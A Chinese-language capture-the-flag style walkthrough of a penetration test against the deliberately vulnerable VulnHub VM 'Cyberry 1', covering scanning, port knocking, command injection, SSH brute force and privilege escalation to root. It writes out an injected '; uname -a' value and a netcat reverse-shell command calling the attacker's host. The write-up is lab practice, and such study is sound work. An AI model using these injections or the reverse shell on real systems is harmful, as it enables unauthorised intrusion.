首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

对虚拟环境中搭建的脆弱系统“Cyberry 1”的一次渗透测试

本次渗透测试遵循PTES(渗透测试执行标准):

前期交互阶段

情报收集阶段

威胁建模阶段

漏洞分析阶段

渗透攻击阶段

后渗透攻击阶段

报告阶段

详见http://www.pentest-standard.org/index.php/Main_Page

环境介绍

练习靶机:Cyberry 1(https://www.vulnhub.com/entry/cyberry-1,217/)

使用系统:Kali Linux 2018.1 By Offensive Security

物理机:Windows 10 Pro Insider Preview Build 17-93.re_prerelease.180202-1400

虚拟化:VMware

目标

获取远程系统的root(根用户)权限(最高权限)

发现主机并识别开放服务

通过nmap(Network Mapper)快速扫描整个局域网后可以发现IP地址192.168.8.106为Cyberry的IP地址

既然已经确定了地址 接下来就需要扫描该主机上开放的端口以及服务版本号

开启Metasploit Framework 连接数据库 以便将扫描结果保存到数据库中

扫描完成后 可以通过数据库看到刚刚扫描的结果:

在远程主机的21端口开放着版本号为ProFTPD 1.3.5b 的ftp服务

在远程主机的22端口开放着版本号为OpenSSH 7.4p1 Debian 10+deb9u1 protocol 2.0 的ssh服务

在远程主机的80端口开放着版本号为Apache httpd 2.4.25 (Debian) 的 http服务

在远程主机的666端口开放着doom服务

首先先判断这几个服务版本是否有远程命令执行漏洞

通过在Metasploit Framework中搜索版本号暂未发现可使用的exploit(漏洞利用代码) 初步判定远程服务中没有漏洞

网页中的注释

既然开放了HTTP服务 那就通过浏览器访问一下 查看是否有可以利用的漏洞

发现远程主机默认主页为HTML格式 并且没有指向其它页面的链接

但是我在这个网页的源代码中发现了一些很有意思的东西:

..? 看到那几行绿的和红的注释了么 这几条注释 肯定有故事

可以看出这几条注释为Base64加密过后的密文 解密后是这几条信息:

看来最后两条注释暗示的是远程主机上的两个文件

secretfile.html打开后出现了一串二进制字符串

简单地写一个Python脚本 转换为字符串:

转换后的内容:

Huh? 这个文件貌似没有任何特殊的地方 抓包也没有发现什么特殊信息

那我们就来看看work-in-progress.png:

一看就有问题 我们再将请求发送一遍后可以看到Response中有一个字符串“edocrq” 这是二维码(qrcode)的reverse 重新组合这些字符就可以得到qrcode 也就是二维码

网页内容:

(好戏上场了)

每一个水果名字都指向一个文件 "Strawberry"和“Raspberry”指向的是正常的梅果图片 “Blueberry”至“Huckleberry”指向的文件提示404(在远程服务器上没有发现此文件) 我直接点了最后一个链接“HackBerry”出现了一张GIF:

呦呵..?

我尝试点击“Elderberry” 出现了这张图片:

一开始我没有研究这张照片 而是点击了berrypedia.html右上角的Login

出现了一个登陆界面:

我尝试输入“admin”,“123456” 提示没有此用户名 这其中隐藏着一个巨大的安全隐患:恶意攻击者可以知道用户名

当我把Username更改为“root” Password更改为“123456”时:

提示密码错误

我随便尝试了一个弱密码“password” 竟然登陆进去了

Huh..?

路径为/welcome.php

但是没有任何东西 看来这没有什么用处

Port Knocking

于是我又把焦点放在那张照片中:

忽然醒悟:这是要做Port Knocking 就是连接指定端口 让远程主机做出反应

于是就简单写了个Shell

扫描完之后发现远程主机上开放了61955端口:

又是一个HTTP服务

另一个HTTP服务

我在抓到的包中发现多了一个Cookie 说明我刚刚登陆起作用了

我尝试爬取这个目录下的所有文件/目录 发现了一个有趣的文件

What a hell..?

好像在哪里见到过这样的东西 想了半天 想起来这是一种叫做Brainf*ck的编程语言

编程语言!

在线的编译器编译出来是乱码 这个耗费了我好长时间 最后还是放弃了

既然我有Cookie 我就尝试访问welcome.php 看看这个文件是否存在

貌似成功了 这个界面比80端口的welcome.php多了一个链接 点开后发现是一个在线nslookup的php脚本 原理就是在远程主机上执行“nslookup [网址]” 那么既然是执行命令 就极有可能有远程命令执行漏洞

抓了个包发现要进行“nslookup”的网站就是数据包中的host=

在Linux中多个命令用“;”分割 我尝试在host参数的后面加入“; uname -a”来检测是否存在远程命令执行漏洞 :

成功输出远程系统版本信息 可以判断存在该漏洞

拿到Shell(远程主机的命令行)

一切都变得简单了

先监听本机的4444端口 以检测进入的连接

然后再数据包的host参数后添加上“nc -e /bin/sh 192.168.8.110 4444”

意思就是通过nc这个应用程序把本机的/bin/sh(命令行 或称Shell)连接到Kali Linux的4444端口上 也就是我们监听的端口 形成一个reverse shell(反射型Shell)

成功获取Shell

纵向提权

我们的目标是获取到远程主机的root(根用户)权限

我首先尝试了一下sudo -l 也就是查看www-root这个用户可以执行哪些更高级别的命令 发现这个用户可以暂时获得root权限 但是需要输入www-root的密码 由于我们不知道这个用户的密码 所以这条路暂时走不通

(刚刚误点了Ctrl+C 退出了 重新获取一遍Shell)

执行以下ls命令 -l -a 的意思就是输出所有文件(包括隐藏文件) 并输出详细信息

发现了一个文件“nb-latin”

里面是一些拉丁语的单词 这极有可能是密码

我们来看一下远程主机上都有哪些用户:

那么知道了用户字典 知道了密码字典 那就先把密码保存到本地:

再将用户名保存 尝试暴力破解:

呦呵..?

那就通过SSH以nick的身份连接远程主机 再次执行sudo -l 查看权限:

发现能够以“terry”的身份来执行/home/nick/makeberry以及/home/nick/invoke.sh

首先当然尝试.sh(Shell脚本)文件了:

获取到terry的shell

同样的方法 awk这个软件同样可以让我们拿到halle的shell:

同理 php也可以让我们拿到chuck的shell:

这个时候“sudo -l”就又不起作用了

那我们就看看chuck的目录底下都有哪些文件:

发现有一个名为deleted的隐藏文件夹(在Linux下隐藏文件/文件夹前会有“.”)

打开文件夹发现有一个名为“deleted”的文件 这一般都是敏感信息

Guess The Root Dance:猜密码

deleted中给出了root密码的提示:

那我们就根据这个提示来猜root的密码:

由于是四个词 che*baca*rry

能和che组成单词的就是w

那么结尾是merry还是berry?

我就蒙了一个:chewbacabemerry

尝试通过SSH登陆

I KNEW THE ROOT DANCE!

本次渗透测试总耗时大约3小时

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180214G0FUI400?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券